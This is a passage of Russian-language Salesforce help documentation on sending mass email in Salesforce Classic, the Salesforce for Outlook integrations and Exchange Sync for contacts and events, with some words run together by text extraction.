организациям-лицам или
интересам:
• «Пакетная электронная

рассылка»

Для отправки пакетных
электронных рассылок
сотрудникам:
• «Пакетная электронная

рассылка»

И

«Управление
пользователями»

Для отправки и регистрации
пакетных электронных
рассылок в связанном
списке «Журнал действий»:
• «Пакетная электронная

рассылка»

И

«Редактирование задач»

Этафункцияпозволяетотправлятьэлектронныесообщениягруппеконтактов, интересов,
организаций-лици сотрудников одновременно! Отправляйте электронные сообщения
по списку контактов, интересов или организаций-лиц по продажам и поддержке
ограниченному кругу лиц. Пакетная электронная рассылка предназначена для
оптимизации бизнес-процессов, но не заменяет почтовые службы и не используется в
крупных маркетинговых кампаниях.

1. В зависимости от адресатов пакетной электронной рассылки выполните одно из
указанных ниже действий.

Для контактов или организаций-лиц
Щелкните ссылку «Пакетная электронная рассылка контактов» в разделе
«Инструменты» внизу вкладки «Контакты» или «Обращения». Еслиорганизация
Salesforceподдерживаеторганизации-лица, тоданная ссылка такжеотображается
на вкладке «Организации».

Для интересов
Щелкните ссылку «Пакетная электронная рассылка интересов» в разделе
«Инструменты» внизу вкладки «Интересы».

Для сотрудников (других пользователей Salesforce)
Приналичииполномочия «Управлениепользователями» введите «Пользователи
пакетных электронных рассылок» в поле «Быстрый поиск» в меню «Настройка»
и выберите «Пользователи пакетных электронных рассылок».

2. Выберитенужноесписковоепредставлениеполучателейинажмитекнопку«Начать».

3. Все получатели, перечисленные в списковом представлении, выбираются по
умолчанию. Чтобы удалить получателей, снимите флажки напротив нужных имен.

4. Нажмите кнопку «Далее».

5. Выберите шаблон эл. почты.

6. Чтобы просмотреть шаблоны, воспользуйтесь ссылками «Предварительный
просмотр».

7. Нажмите кнопку «Далее».

8. Настройте используемые параметры обработки на странице подтверждения. Имя
пакетнойэлектроннойрассылкиотображаетсятольковочередирассылокистатусных
сообщениях, отправленных системой Salesforce, и не отображается в отправляемых
сообщениях.

9. Отправьте или запланируйте отправку сообщения эл. почты в разделе «Параметры
доставки».

10. Нажмите кнопки «Отправить» и «Готово».

СМ. ТАКЖЕ:

Рекомендации по пакетной отправке эл. почты

Рекомендации по отправке пакетной электронной рассылки

Просмотр состояния пакетной электронной рассылки
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Рекомендации по отправке сообщений эл. почты в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

Прежде чем начать отправку сообщений эл. почты, обратите внимание на несколько
ключевых моментов.

Общие сведения
• В поле «Кому» можно вводить только одно имя.

• Функцияпроверкиорфографииподдерживаетне все языки, используемыесистемой
Salesforce. Например, функция проверки орфографии не поддерживает тайский и
русский языки, а также некоторые языки с двухбайтовой кодировкой символов
(японский, корейский и китайский).

• Подпись можно добавлять только в текстовые сообщения эл. почты.

Шаблоны эл. почты
• Присоставлениисообщенийэл. почтыможновоспользоватьсяпредопределеннымшаблоном. Дляиндивидуализации

сообщения можно добавить поля слияния, которые заменяются информацией из записи Salesforce при отправке
сообщенияэл. почты. Например, компанияможетиспользоватьстандартныйшаблондляпередачиклиентамсведений
о решениях по обращениям. Администратор системы Salesforce может поддерживать корпоративные шаблоны, а
пользователь может создавать собственные.

• Шаблоны эл. почты предоставляют доступ только к полям, доступным посредством макета страницы и параметров
безопасности. (Безопасность поля доступна только в версиях Enterprise Edition, Unlimited Edition, Performance Edition и
Developer Edition.)

• Еслишаблон содержит поле слияния, которому соответствует пустое поле отдельной записи, то данное поле не
отображаетсявотправленномсообщенииэл. почты. Чтобынайтитакиепустыеполя, изменитесписковоепредставление
получателей для поиска полей слияния, используемых в шаблоне. Затем введите критерий «<поле> равно», а третье
поле оставьте незаполненным. Прежде чем отправить сообщение эл. почты, измените записи, содержащие пустые
поля.

• Изменения, вносимые в шаблон сообщения эл. почты, влияют только на HTML-версиюшаблона.

• Изменять настраиваемые шаблоны эл. почты нельзя.

Отслеживание сообщений эл. почты
Чтобы отследить отправленное сообщение эл. почты, используйте HTML-форматирование при его составлении и
убедитесь, что администратор Salesforce добавил связанный список «Статус HTML-сообщения эл. почты» на страницы
контактов, интересующихся клиентов и организаций-лиц.

Рекомендации по отправке сообщений эл. почты в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

Просмотрите дополнительную информацию об отправке сообщений эл. почты, в том
числесведенияобобщихфункциях, отслеживаниисообщенийидобавлениивложений.

Общие сведения
Отправители сообщений

Сообщениеэл. почты, связанноес записью, можетотправитьлюбоелицосдоступом
к просмотру или редактированию записи.
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Адреса
Принеобходимости выберите адрес эл. почтыдля контактовилиинтересов, содержащихнесколькополей эл. почты.

Для разделения нескольких адресов эл. почты в полях «Кому (дополнительно)», «Копия» и «СК» используйте
точку с запятой, запятую, пробел или отдельную строку.

Еслиорганизацияиспользуетфункциюуправлениявозвратом, тосистемаSalesforceотображает сообщениеобошибке
при возврате сообщения эл. почты. Чтобы обновить адрес эл. почты и проверить его работу, щелкните ссылку в
сообщении об ошибке.

Связывание записей
При составлении сообщения эл. почты можно выбрать другую запись (например, организацию, обращение или
настраиваемый объект) для связывания с этим сообщением.

Отображение отправленных сообщений эл. почты
Сообщения эл. почты, отправленные с помощью кнопки «Отправить сообщение эл. почты», добавляются в
связанный список «Журнал действий» соответствующих записей. Элемент связанного списка «Журнал действий»
выглядитследующимобразом: «Сообщениеэл. почты: тема». Чтобыпросмотретьтекстсообщенияэл. почты, щелкните
тему нужного сообщения.

Прим.: Для записей, относящихся к интересам, сообщение эл. почты не добавляется в журнал действий, если
поле «Кому» не заполнено.

Сообщения эл. почты организаций Salesforce с включеннойфункцией Email-to-Case или On-Demand Email-to-Case,
отправленные из связанного списка обращения «Эл. почта», сохраняются в связанном списке «Эл. почта».

Отслеживание
HTML-форматирование

Всвязанномсписке «Статус HTML-сообщенияэл. почты» отображаютсядатапервогопросмотрасообщения, количество
просмотров и дата последнего просмотра.

Данный список содержит автоматические сообщения эл. почты (например, сообщения, отправленные правилами
ответа Web-to-Lead и Web-to-Case).

Составление отчетов
Чтобысоставитьотчетпостатистике, указаннойвсвязанномсписке «Статус HTML-сообщенияэл. почты», воспользуйтесь
отчетом «Статус HTML-сообщения эл. почты» на вкладке «Отчеты».

Вложения
Размерфайла

При добавлении нескольких файлов общий размер всех вложенных файлов не должен превышать 10 Мб.

Если общий размер файлов вложений эл. почты превышает 3 Мб или применяется пакетная электронная рассылка,
система Salesforce отправляет несколько ссылок. Например, если пользователь отправляет два вложения размером
1,7 Мб каждое, получателю отправляется две ссылки.

Сохранение
Чтобы сохранить вложение, отправленное с сообщением эл. почты, позже свяжите вложение с сообщением или
отправьтесообщениесвложениемвсистемуSalesforceпосредствомфункции Email-to-Case, Email-to-Salesforce, On-Demand
Email-to-Case или приложения Salesforce for Outlook.
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Вложения, отправленные в виде ссылок, хранятся в течение 30 дней.

СМ. ТАКЖЕ:

Отправка сообщений эл. почты в Salesforce Classic

Пакетная электронная рассылка в Salesforce Classic

Рекомендации по пакетной отправке эл. почты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прежде чем использовать пакетную отправку эл. почты, рассмотрите следующие
рекомендации.

• Пакетная электронная рассылка может быть отправлена списку получателей,
содержащему контакты, интересы, организации-лица и пользователей, доступных в
системе Salesforce.

• Если стандартное поле эл. почты скрывается параметрами безопасности, то ссылка
«Пакетная электронная рассылка» не отображается для контактов и интересов.

• Пакетная электронная рассылка может быть отправлена только на адрес, указанный
в стандартном поле эл. почты. Пакетная электронная рассылка не поддерживает
настраиваемые поля эл. почты.

• Прежде чем выполнить пакетную электронную рассылку, создайте настраиваемое
представление контактов, интересов, организаций-лиц или обращений без адреса
эл. почты. Выберите критерий поиска «"Адрес эл. почты" "равно"» и пропустите третье поле. При необходимости
данные записи могут быть обновлены перед отправкой сообщений эл. почты. Адрес эл. почты проверяется только
путем отправки настоящего сообщения эл. почты.

• Шаблон эл. почты Visualforce не поддерживает пакетные электронные рассылки.

• Вложения, добавленные в пакетную электронную рассылку, отправляются в виде ссылок, а не файлов. При выборе
ссылки, добавленной в сообщение эл. почты, вложение открывается в отдельном окне обозревателя и становится
доступным для загрузки. Вложения хранятся в течение 30 дней.

• Прим.: Количество адресатов и количество отправленных сообщений в статусных сообщениях пакетной
электронной рассылки могут отличаться в следующих случаях.

– Пакетная электронная рассылка превышает ежедневное ограничение по количеству пакетных электронных
рассылок. Система Salesforce не отправляет сообщение выбранным получателям.

– Какминимумодинвыбранныйполучательотменилвозможностьполученияпакетныхэлектронныхрассылок
после планирования, но перед обработкой пакетной электронной рассылки.

– Адрес эл. почты как минимум одного выбранного получателя удален из контактов или интересов после
планирования, но перед обработкой пакетной электронной рассылки.

– Пользователь, выполнивший пакетную электронную рассылку, деактивирован после планирования, но
перед обработкой пакетной электронной рассылки. Система Salesforce не выполняет пакетные электронные
рассылки, запланированные деактивированным пользователем.
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Рекомендации по отправке пакетной электронной рассылки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При использовании пакетной электронной рассылки используйте эти рекомендации
для получения дополнительной информации.

• По умолчанию представления «Мои контакты», «Мои интересы», «Активные
пользователи» и «Мои обращения» содержат все записи с адресом эл. почты. Чтобы
изменить список получателей, создайте настраиваемое представление. Контакты,
интересы или организации-лица, помеченные флажком «Без рассылки по эл.
почте», и записи без адреса эл. почты исключаются из соответствующих списков
рассылки. Организации-лицаотображаются в списковыхпредставленияхконтактов.

• Окнопредварительногопросмотрашаблона эл. почтыотображаетшаблонсо всеми
полями слияния (например, {!Account.AccountNumber}). При отправке эл.
почты данные поля слияния заполняются сведениями из записей получателей или
любым соответствующим текстом замены.

• Если установлен флажок «Сохранять действие для каждого сообщения»  (установлен по умолчанию), элемент
списка «Журналдействий» связывается с контактом, интересомилиорганизацией-лицомиотображаетсякак «Пакетная
электронная рассылка: <Описание шаблона>». Тема, текст и вложения сообщения эл. почты не хранятся в элементе
связанногосписка «Журналдействий». Регистрацияэлементовсвязанногосписка «Журналдействий» доступнатолько
при наличии права на просмотр или редактирование записей в списке получателей и полномочия «Редактирование
задач».

• Привыборепараметрадоставкиэл. почты«Уведомить отправителя о завершении пакетной электронной рассылки»
система Salesforceотправляетпользователюавтоматическое статусное сообщение эл. почтыдля каждойвыполненной
пакетной электронной рассылки. Тема статусного сообщения эл. почты содержит значение, введенное в поле «Имя
пакетной электронной рассылки» при отправке.

• В разделе личных параметров можно ввести строку «Пакетные электронные рассылки» в поле «Быстрый поиск», а
затем выбрать «Пакетные электронные рассылки» или «Мои пакетные электронные рассылки», чтобы
просмотреть или отменить запланированные пакетные электронные рассылки.

Для просмотра и отмены пакетных рассылок, запланированных любым пользователем в организации, введите
«Пакетные электронные рассылки» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Пакетные
электронные рассылки».

СМ. ТАКЖЕ:

Пакетная электронная рассылка в Salesforce Classic

Настройка параметров доставки
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Просмотр состояния пакетной электронной рассылки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Оставайтесь в курсе событий благодаря автоматическим сообщениям эл. почты о
состоянии каждой пакетной электронной рассылки.

1. Настройтеорганизациювсистеме Salesforceнаполучение уведомленийпо эл. почте,
связанных с пакетной рассылкой. Дополнительнуюинформациюможно получить
у администратора Salesforce.

2. При создании пакетной электронной рассылки введите значение в поле «Имя
пакетной электронной рассылки». Это значение отображается в теме сообщения о
состоянии.

3. Отправьте пакетную рассылку.

Полученное сообщение о состоянии отображает количество адресатов и
отправленных копий пакетной электронной рассылки.

СМ. ТАКЖЕ:

Рекомендации по отправке пакетной электронной рассылки

Настройка параметров доставки

Индивидуальная настройка системы Salesforce

Использование Salesforce в почтовых приложениях Microsoft®

Важные сообщения электронной почты Microsoft можно соотнести с записями Salesforce (контактами, интересами и
возможностями). При этом связанное содержимое Salesforce можно просматривать прямо в почтовых приложениях
Microsoft.

Выбирайте облачные и настольные интеграционные продукты Microsoft вместе с администратором Salesforce.

Облачное приложение Salesforce для Outlook

Будьте в курсе важных возможностей в сфере продаж для работы с почтовым приложением Microsoft®. Повышайте
эффективность управленияпродажамиспомощьювеб-приложения Outlook®, Outlook 2016 или Outlook 2013 совместно
с Microsoft Office 365™. Связывайте сообщения эл. почтыивложения с записями Salesforceбез установкииобслуживания
специализированного программного обеспечения. Синхронизируйте контакты и события между почтовыми
приложениями и Salesforce посредством Exchange Sync (бета-версия).

ПО для настольных ПК Salesforce для Outlook

Синхронизацияконтактов, событийизадачмеждуверсией Outlook длянастольныхПКиSalesforce. Выберитесообщение
электронной почты в Outlook, чтобы увидеть связанные записи Salesforce, например интересы, контакты, задачи и
коммерческие возможности. Свяжите это сообщение электронной почты с выбранными записями Salesforce.
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Облачное приложение Salesforce для Outlook

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Будьте в курсе важных возможностей в сфере продаж для работы с почтовым
приложением Microsoft®. Повышайтеэффективностьуправленияпродажамиспомощью
веб-приложения Outlook®, Outlook 2016 или Outlook 2013 совместно с Microsoft Office 365™.
Связывайте сообщения эл. почты и вложения с записями Salesforce без установки и
обслуживания специализированного программного обеспечения. Синхронизируйте
контактыисобытиямеждупочтовымиприложениямии Salesforceпосредством Exchange
Sync (бета-версия).

Создавайте контакты, события, интересы, возможности, задачи и обращения Salesforce
непосредственно в почтовом приложении.

Приложение Salesforce для Outlook

Будьте в курсе важных возможностей в сфере продаж для работы с почтовым
приложением. Вы можете повысить эффективность управления продажами с помощью веб-приложения Outlook®,
Outlook 2016 или Outlook 2013 совместнос Microsoft Office 365™. Связывайте сообщенияэл. почтыивложенияс записями
Salesforce. И быстро создавайте записи Salesforce непосредственно в почтовом приложении.

Синхронизация элементов Microsoft® посредством Exchange Sync (бета-версия)

Поддерживайте синхронизациюконтактов и событиймежду системой электроннойпочтыи Salesforce без установки
и технического обслуживания программного обеспечения.

Приложение Salesforce для Outlook

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Будьте в курсе важных возможностей в сфере продаж для работы с почтовым
приложением. Выможетеповысить эффективность управленияпродажамиспомощью
веб-приложения Outlook®, Outlook 2016 или Outlook 2013 совместно с Microsoft Office 365™.
Связывайте сообщения эл. почтыивложения с записями Salesforce. Ибыстро создавайте
записи Salesforce непосредственно в почтовом приложении.

После того как администраторподключитприложение Salesforceдля Outlook, вамследует
выполнить одноразовые процедуры, чтобы содержимое Salesforce отображалось в
почтовом приложении.

Послевхода в эл. почту (1) ивыбора Salesforce  (2) появятся соответствующиезаписи,
связанные с продажами (3). Если администратор включил функцию «Общедоступные
действия», то можно добавить сообщение эл. почты для нескольких контактов. Кроме
того, эл. сообщение можно добавить к записи другого типа, которая принимает задачи
(например, возможность, интерес или обращение). При желании, к записи добавляют вложения эл. почты.
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Выберите запись, чтобыпросмотретьдополнительныесведениявпочтовомприложении. Такжеможнополучитьполные
сведения о записи или эл. сообщении, добавленном к записи, непосредственно в Salesforce (4).

Участники событий в календарях Microsoft могут просматривать соответствующие записи Salesforce. Для этого следует
открыть событие в почтовом приложении Microsoft. Затем надо выбрать Salesforce (1).

Появятся соответствующие записи Salesforce (2). После выбора записи можно просмотреть дополнительные сведения в
почтовомприложении (подобноработессообщениямиэл. почты). Полнуюинформациюозаписитакжеможнополучить
непосредственно в Salesforce (3).

Для организаторов событий доступны разные представления записей Salesforce. Организатор открывает событие и
выбирает «Надстройки» > Salesforce. На правой панели отображаются соответствующие записи.

Приложение Salesforce для Outlook. Требования к системе
Убедитесь, что ваша система соответствует этим требованиям, перед тем как настроить приложение Salesforce для
Outlook.
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Настройка почтового приложения Microsoft® для использования Salesforce

Подготовьте систему к добавлениюсообщений эл. почтыи вложений к записям Salesforceиз веб-приложения Outlook
(OWA), Outlook 2016 или Outlook 2013. Впроцессе работы спочтовымприложением Microsoft быстро создавайте записи
Salesforce.

Использование Salesforce в почтовых приложениях Microsoft®

Отслеживайте ход реализации продаж при доступе к записям о продажах, используя для этого веб-приложение
Microsoft® Outlook® (OWA), Outlook 2016 и Outlook 2013, а также Office 365™.

СМ. ТАКЖЕ:

Приложение Salesforce для Outlook. Требования к системе

Использование Salesforce в почтовых приложениях Microsoft®

Приложение Salesforce для Outlook. Требования к системе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Убедитесь, что ваша система соответствует этим требованиям, перед тем как настроить
приложение Salesforce для Outlook.

ТребованияКомпонент

Один из нижеуказанных вариантов.Сервер
электронной
почты

• Exchange 2016 или 2013 (локальное приложение)

• Exchange Online с Office 365

Один из нижеуказанных вариантов.Почтовое
приложение • Веб-приложение Outlook

• Microsoft Outlook® 2016 или 2013

Разрешить файлы cookie от Salesforce при помощи одного из
следующих браузеров:

Обозреватель

• Microsoft Internet Explorer® 10 и 11

• Microsoft Edge (последняя стабильная версия)

• Google Chrome™ (последняя стабильная версия)

• Mozilla® Firefox® (последняя стабильная версия)

• Mozilla® Firefox® (последняя стабильная версия)
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Настройка почтового приложения Microsoft® для использования Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Настройка приложения
Salesforce для Outlook
• “Приложение Salesforce

для Outlook

Проверка подлинности
соединения между сервером
Microsoft Exchange и
системой Salesforce
• «Просмотр настройки и

конфигурации»

Подготовьтесистемукдобавлениюсообщенийэл. почтыивложенийкзаписямSalesforce
из веб-приложения Outlook (OWA), Outlook 2016 или Outlook 2013. В процессе работы с
почтовым приложением Microsoft быстро создавайте записи Salesforce.

1. Получение доступа к приложению Salesforce для Outlook

Выполнитепервыйшаг дляполучениядоступа к содержимому Salesforce, связанному
с продажами, непосредственно в веб-приложении Microsoft® Outlook® (OWA), Outlook
2016 и Outlook 2013.

2. Предоставление доступа к Salesforce почтовым приложениям Microsoft®

Подготовьте системыксозданиюконтактов Salesforce, а такжекпросмотру контактов,
интересов и пользователей. В веб-приложении Outlook, Outlook 2016 и Outlook 2013
можно просматривать организации, возможности и обращения.
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Получение доступа кприложению Salesforce для Outlook

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Настройка приложения
Salesforce для Outlook
• “Приложение Salesforce

для Outlook

Проверка подлинности
соединения между сервером
Microsoft Exchange и
системой Salesforce
• «Просмотр настройки и

конфигурации»

Выполните первыйшаг для получения доступа к содержимому Salesforce, связанному с
продажами, непосредственно в веб-приложении Microsoft® Outlook® (OWA), Outlook 2016
и Outlook 2013.

1. В веб-приложении Outlook (OWA), Outlook 2016 или в Outlook 2013 откройте
«Параметры», после чего выберитеУправление приложениями. В этом разделе
выберите Salesforce.

2. Если приложение недоступно, добавьте его из магазина Office.

3. После появления приложения включите его.

Предоставление доступа к Salesforceпочтовымприложениям Microsoft®

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Настройка приложения
Salesforce для Outlook
• “Приложение Salesforce

для Outlook

Подготовьте системы к созданию контактов Salesforce, а также к просмотру контактов,
интересовипользователей. Ввеб-приложении Outlook, Outlook 2016 и Outlook 2013 можно
просматривать организации, возможности и обращения.

1. В OWA, Outlook 2016 или Outlook 2013 выберите сообщение эл. почты из папки
Входящие либо Отправленные. Выберите «Salesforce». Появится приглашение к
входу в систему Salesforce.
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2. После входа в Salesforce вы увидите длинный код.

3. Скопируйте код из Salesforce в буфер обмена.

4. Вставьте код, после чего щелкните «Далее».

Совет: Процесс входа в систему можно упростить. Если в организации используется функция «Мой домен»
илифункция единойрегистрации (SSO), мырекомендуемследующийспособвхода в Salesforce. Откройте вкладку
в веб-обозревателе и войдите в Salesforce. Затем в другой вкладке веб-обозревателя или в приложении Outlook
начните работу с приложением Salesforce for Outlook.
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Использование Salesforce в почтовых приложениях Microsoft®

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Настройка приложения
Salesforce для Outlook
• “Приложение Salesforce

для Outlook

Проверка подлинности
соединения между сервером
Microsoft Exchange и
системой Salesforce
• «Просмотр настройки и

конфигурации»

Отслеживайте ход реализации продаж при доступе к записям о продажах, используя
для этого веб-приложение Microsoft® Outlook® (OWA), Outlook 2016 и Outlook 2013, а также
Office 365™.

1. Ввеб-приложении Outlook (OWA), Outlook 2016 илив Outlook 2013 выберитесообщение
эл. почты в папке Входящие или Отправленные, либо событие из календаря.

2. Выберите «Salesforce».

3. Сдвиньте экран вправо, чтобы увидеть сочетание из 15 элементов, например контактов, интересов, организаций и
пользователей, а также до трех связанных учетных записей, возможностей и обращений. Если администратор
активировал функцию «Общедоступные действия», добавляйте сообщения эл. почты и вложения к ним к группе
контактов. Кроме того, эл. сообщение и вложения к нему можно добавить к записи другого типа, которая принимает
задачи (например, возможность, интерес или обращение).
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4. Быстро создавайте файлы Salesforce, например, события, возможности и интересы.

5. Выберитезапись, чтобыпросмотретьдополнительныесведенияонейвпочтовомприложении. Такжеможнополучить
полные сведения о записи или эл. сообщении, добавленном к записи, непосредственно в Salesforce (4).

СМ. ТАКЖЕ:

Приложение Salesforce для Outlook

Приложение Salesforce для Outlook. Требования к системе

Синхронизация элементов Microsoft® посредством Exchange Sync (бета-версия)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Поддерживайте синхронизацию контактов и событий между системой электронной
почты и Salesforce без установки и технического обслуживания программного
обеспечения.

Прим.: Внастоящее времядоступна толькобета-версия Exchange Sync, являющаяся
полноценной, но имеющая некоторые ограничения.

Если ваш администратор организациинастроил синхронизациюконтактов и событий
между системой электронной почты вашей компании и Salesforce, вы уже находитесь в
пути, которыйприведетвас кповышениюпроизводительности. Этопроисходитпотому,
что нет необходимости вручную дублировать работу в обеих системах.

В зависимости от выбранных администратором параметров Salesforce for Exchange
автоматическисинхронизируетконтактыисобытиямеждусистемойэлектроннойпочты
вашей компании и Salesforce в обоих направлениях либо в одном направлении.

Вы можете синхронизировать контакты и события, которые создаете и используете, либо за вашим рабочим столом,
либо на мобильном устройстве.

Ниже перечислены действия, которые в настоящее время не поддерживаются Exchange Sync.

• Синхронизация повторяющихся событий

• Синхронизация приглашенных, добавленных в события

• Предоставление пользователям возможности одновременного удаления записей из обеих систем
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Тем не менее пользователи могут выполнять данные действия — обновление повторяющихся событий, добавление
приглашенных на событие и удаление записей из обеих систем — вручную.

Приготовьтесь к синхронизации событий
Вы можете выбрать события для синхронизации между приложением календаря компании и Salesforce.

Приготовьтесь к синхронизации контактов
Узнайте, как синхронизировать контакты между системой обмена сообщениями электронной почты и Salesforce. В
зависимости от направления синхронизации вы переместите контакты электронной почты, которые требуется
синхронизировать с Salesforce, в особую папку в приложении электронной почты.

Устранение ошибок синхронизации
Если при синхронизации между Microsoft® Exchange и Salesforce возникают неполадки, ваш администратор Salesforce
может сбросить процесс синхронизации и восстановить подключения между записями в сообщении электронной
почты, приложении календаря и вашими записями в Salesforce.
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Приготовьтесь к синхронизации событий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для синхронизации
событий в обоих
направлениях:
• «Чтение» и

«Редактирование» для
событий И

Направление
синхронизациисобытий
установлено в значение
«Синхронизировать в
обоих направлениях» в
настройках Exchange

Для синхронизации
событий по направлению
из Salesforce в Exchange:
• «Чтение» для событийИ

Направление
синхронизации
установлено в значение
«из Salesforce с
Exchange» в настройках
Exchange.

Для синхронизации
событий по направлению
из Exchange в Salesforce:
• «Создание» для событий

И

Направление
синхронизации
установлено в значение
«из Exchange в
Salesforce » в
настройках Exchange.

Выможетевыбратьсобытиядлясинхронизациимеждуприложениемкалендарякомпании
и Salesforce.

ЕсливашадминистраторнастроилSalesforceдлясинхронизациисобытий, вашисобытия
автоматически синхронизируются между календарем в системе обмена сообщениями
электронной почты и Salesforce.

Вы можете предотвратить синхронизацию личных событий с Salesforce различными
способами.

• Создайтеотдельныйкалендарьвприложениикалендаря, чтобыотслеживатьличные
события. (Функция синхронизации с Exchange создана так, что может
синхронизировать только главный календарь учетной записи Exchange с Salesforce.)

• Спросите администратора, настроена ли ваша конфигурация синхронизации для
синхронизации личных событий. Если вы не используете синхронизацию личных
событий, вы можете назначить своим личным событиям параметр Личное в
приложении календаря и эти события не будут синхронизироваться с Salesforce.

Лучше всего, если вы будете управлять событиями, которые вы не хотите
синхронизировать перед тем, как администратор решит запустить синхронизацию
первый раз. Если ваши события начнут синхронизироваться перед тем, как вы начнете
ими управлять, вы все еще сможете удалить их из Salesforce вручную.

Другие события синхронизируются между Salesforce и вашим календарем каждые
несколько минут. Если вы синхронизируете много событий, первая синхронизация
может занять некоторое время.
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Приготовьтесь к синхронизации контактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для синхронизации
контактов в обоих
направлениях:
• «Чтение» и

«Редактирование» для
контактов, «Чтение» для
организаций И

Направление
синхронизации
контактов установлено
в значение
«Синхронизировать в
обоих направлениях» в
настройках Exchange.

Для синхронизации
контактов по направлению
из Salesforce в Exchange:
• «Чтение» для контактов,

И

Направление
синхронизации
контактов установлено
в значение «из
Salesforce с Exchange»
в настройках Exchange.

Для синхронизации
контактов по направлению
из Exchange в Salesforce:
• «Создание» для

контактов, И

Для направления
синхронизации
контактов должно быть
выбрано значение «Из
Exchange в Salesforce»

Узнайте, как синхронизировать контакты между системой обмена сообщениями
электронной почты и Salesforce. В зависимости от направления синхронизации вы
переместите контакты электронной почты, которые требуется синхронизировать с
Salesforce, в особую папку в приложении электронной почты.

После того как ваш администратор запустит синхронизацию контактов, Exchange Sync
создаст папку в приложении электронной почты с названием Salesforce_Sync.
Папка Salesforce_Sync располагается под каталогом контактов. Любые контакты,
для которыхвыполнена синхронизацияиз Salesforce в вашу систему электроннойпочты,
будут помещаться в Salesforce_Sync. Не переименовывайте, не перемещайте и не
удаляйте папку Salesforce_Sync, это остановит синхронизацию между Salesforce и
вашей системой электронной почты.

1. Спроситеу администратора, вкакомнаправлениибудетвыполнятьсясинхронизация.

• Если для вас установлена синхронизация только в направлении из Salesforce в
приложение электронной почты, синхронизация уже идет и вам не нужно
предпринимать никаких действий. Вы готовы получить доступ к контактам
Salesforce напрямую из системы обмена сообщениями электронной почты!

• ЕсливынастроилисинхронизациюизсообщенияэлектроннойпочтысSalesforce
или в обоих направлениях, вам потребуется перенести контакты электронной
почты для синхронизации в папку Salesforce.

2. В своем приложении электронной почты выберите контакты для синхронизации.
Вы можете выбрать сразу несколько контактов.

3. Переместите (тольконекопируйте) выбранныеконтактывпапку Salesforce_Sync. Есливыскопируетеконтакты,
у вас будут отображаться дублированные контакты, что весьма неудобно.

Контакты, перемещаемыевпапку Salesforce_Sync, синхронизируютсякаждыенесколькоминут. Приперемещении
большого объема контактов в Salesforce_Sync первая синхронизация может занять некоторое время.
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Устранение ошибок синхронизации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Если при синхронизации между Microsoft® Exchange и Salesforce возникают неполадки,
ваш администратор Salesforce может сбросить процесс синхронизации и восстановить
подключениямежду записямивсообщенииэлектроннойпочты, приложениикалендаря
и вашими записями в Salesforce.

1. Чтобы сбросить синхронизацию контактов, убедитесь, что папка
Salesforce_Sync вприложенииэлектроннойпочтысодержиттолькоконтакты,
которые вы хотите синхронизировать с Salesforce.

2. Чтобысбросить синхронизациюдля событий, убедитесь, что событиям, которые вы
нехотитесинхронизировать, назначенпараметр Private вприложениикалендаря.

3. Попросите администратора Salesforce сбросить процесс синхронизации.

ПО для настольных ПК Salesforce для Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Синхронизация контактов, событий и задач между версией Outlook для настольныхПК
и Salesforce. Выберите сообщениеэлектроннойпочтыв Outlook, чтобыувидеть связанные
записи Salesforce, например интересы, контакты, задачи и коммерческие возможности.
Свяжите это сообщение электронной почты с выбранными записями Salesforce.

Salesforce for Outlook — это устанавливаемое приложение для интеграции с Microsoft®

Outlook®, синхронизирующее контакты, события и задачи между приложением Outlook
исистемой Salesforce. Помимосинхронизацииданныхэлементов, сообщенияэл. почты,
вложения, события и задачи Outlook могут быть добавлены в несколько контактов
Salesforce, а записи Salesforce, связанные с контактами и интересами в сообщениях эл.
